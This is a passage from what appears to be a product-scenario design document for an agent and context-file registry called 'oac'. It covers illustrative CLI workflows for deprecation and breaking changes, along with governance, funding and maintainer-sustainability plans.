  ✓ Email to 3,456 users
  ✓ In-app warnings
  ✓ Discord announcement
  ✓ Documentation update

✅ Notifications sent

Timeline:
  - Today: Deprecation warning
  - +30 days: Reminder email
  - +60 days: Final warning
  - +90 days: Removal

4. Monitor migration

oac deprecate status agent:old-agent

Migration Progress:
  Total users: 3,456
  Migrated: 2,145 (62%)
  In progress: 234 (7%)
  Not started: 1,077 (31%)

Timeline: 45 days remaining

? Send reminder: Yes

✅ Reminder sent to 1,311 users

5. Remove after timeline

# After 90 days
oac deprecate finalize agent:old-agent

Final migration status:
  Migrated: 3,234 (94%)
  Remaining: 222 (6%)

? Proceed with removal: Yes

⚡ Removing component...
  ✓ Removed from registry
  ✓ Downloads disabled
  ✓ Redirects to new-agent
  ✓ Repository archived

✅ Deprecation complete!

Outcome:

• ✅ 94% of users migrated successfully
• ✅ Clear timeline communicated
• ✅ Auto-migration made it easy
• ✅ Minimal disruption

---

Scenario 5: Managing Breaking Changes

Context: A popular context file needs breaking changes

Steps:

1. Analyze impact

oac dependency analyze context:popular-context

Current: v2.5.0
Planned: v3.0.0 (BREAKING)

Impact:
  Dependent components: 234
  Affected users: ~15,000

Breaking changes:
  - File structure changed
  - Section names renamed
  - New required fields

2. Create compatibility layer

oac compatibility create context:popular-context v2 v3

? Strategy:
  > Compatibility adapter (zero changes for users)

✅ Created: context:popular-context-compat@3.0.0

Features:
  ✓ Accepts v2 and v3 formats
  ✓ Auto-converts internally
  ✓ Transparent to users
  ✓ Deprecation warnings for v2

3. Publish with compatibility

oac publish context:popular-context@3.0.0

? Include compatibility layer: Yes
? Deprecation period: 6 months

✅ Published with compatibility!

Users can:
  1. Continue using v2 format (warnings)
  2. Migrate to v3 format (recommended)
  3. No immediate action required

4. Notify and guide migration

oac migration announce context:popular-context

? Notification:
  ✓ 234 component authors
  ✓ ~15,000 end users
  ✓ Migration guide published
  ✓ Auto-migration tool available

Timeline:
  - Today: v3.0.0 with compat layer
  - +1 month: Migration guide
  - +3 months: Deprecation warnings
  - +6 months: v2 support ends

✅ Announcement sent!

5. Track migration progress

oac migration status context:popular-context

Migration to v3.0.0:
  Total: 234 components
  Migrated: 145 (62%)
  Using compat: 67 (29%)
  Still on v2: 22 (9%)

Timeline: 3 months remaining

Trend: ↑ 12% migrated this week (good progress)

? Send reminder: Yes

Outcome:

• ✅ Breaking change handled smoothly
• ✅ Compatibility layer prevents disruption
• ✅ 62% migrated in 3 months
• ✅ Clear timeline and support
• ✅ Minimal user complaints

---

Community Governance

Steering Committee Model

Structure:

governance:
  model: Steering Committee
  
  members:
    core:
      count: 5
      role: Permanent maintainers
      powers:
        - Technical decisions
        - Release management
        - Security oversight
    
    community:
      count: 5
      role: Elected representatives
      term: 1 year
      powers:
        - Feature prioritization
        - Quality standards
        - Community policies
  
  voting:
    quorum: 7/10 members
    process: RFC with 14-day comment period
    
  meetings:
    frequency: Bi-weekly
    public: Yes
    minutes: Published within 48h

Decision Making Process

RFC (Request for Comments):

# Create RFC for major change
oac rfc create

? Title: New Component Type: Workflows
? Type: Feature
? Impact: Medium

? Sections:
  ✓ Summary
  ✓ Motivation
  ✓ Detailed design
  ✓ Drawbacks
  ✓ Alternatives
  ✓ Adoption strategy

✅ RFC created: rfcs/0042-workflows.md

? Publish for feedback: Yes

Timeline:
  - 14 days: Comment period
  - After: Steering committee vote
  - If approved: Implementation

✓ Published: https://github.com/oac/rfcs/pull/42

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Sustainability Model

Funding & Resources

Approaches:

1. Sponsorship Tiers

sponsorship:
  individuals:
    supporter: $5/month
    contributor: $25/month
    patron: $100/month
  
  organizations:
    bronze: $500/month
    silver: $2,000/month
    gold: $5,000/month
    
  benefits:
    bronze:
      - Logo in README
      - Thanks in release notes
    silver:
      - All bronze benefits
      - Priority support
      - Early access to features
    gold:
      - All silver benefits
      - Dedicated support channel
      - Feature voting power
      - Custom component development

2. Commercial Licensing

licensing:
  open_source:
    license: MIT
    usage: Free for all
    
  commercial:
    enterprise:
      price: Custom
      includes:
        - Private registry
        - SLA guarantees
        - Custom components
        - Training & onboarding
        - Dedicated support

3. Managed Services

services:
  hosted_registry:
    description: Managed private registry
    price: $99/month
    
  support:
    description: Professional support
    price: $500/month
    
  consulting:
    description: Custom development & training
    price: $200/hour

Maintainer Sustainability

Preventing Burnout:

maintainer_health:
  workload:
    max_hours: 20/week
    rotation: Monthly on-call rotation
    backup: Each maintainer has backup
    
  support:
    mental_health: Covered by project funds
    equipment: Budget for tools/hardware
    conference: Budget for 2 conferences/year
    
  recognition:
    badges: Verified maintainer badges
    compensation: Sponsored by project funds
    public_thanks: Monthly contributor highlights
    
  boundaries:
    response_time: No expectation of instant response
    availability: Clear working hours posted
    breaks: Encouraged to take breaks
    delegation: Empowered to delegate

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Summary:

This comprehensive scenario analysis covers:

✅ Maintainer Workflows: Setup, review, publishing, onboarding, documentation ✅ Key Experiences: Creating agents, publishing, reviewing, quality control, version management ✅ Pain Points & Solutions: Quality, consistency, standards, documentation, breaking changes ✅ Edge Cases: Malicious code, deprecation, abandonment, breaking changes, forks ✅ Must-Have Features: Publishing, review, quality metrics, testing, docs, deprecation ✅ Example Scenarios: 5 detailed real-world scenarios ✅ Governance: Steering committee model, RFC process ✅ Sustainability: Funding models, maintainer health

The analysis focuses on:

• 🛡️ Quality Control: Automated checks, review workflows, standards enforcement
• 🤝 Community Management: Governance, conflict resolution, contributor onboarding
• 📈 Sustainability: Funding models, maintainer health, scalability
• 🔒 Security: Malicious code detection, verification, trust system
• 📚 Documentation: Auto-generation, versioning, examples

All designed to make OAC maintainable, sustainable, and community-friendly for the long term.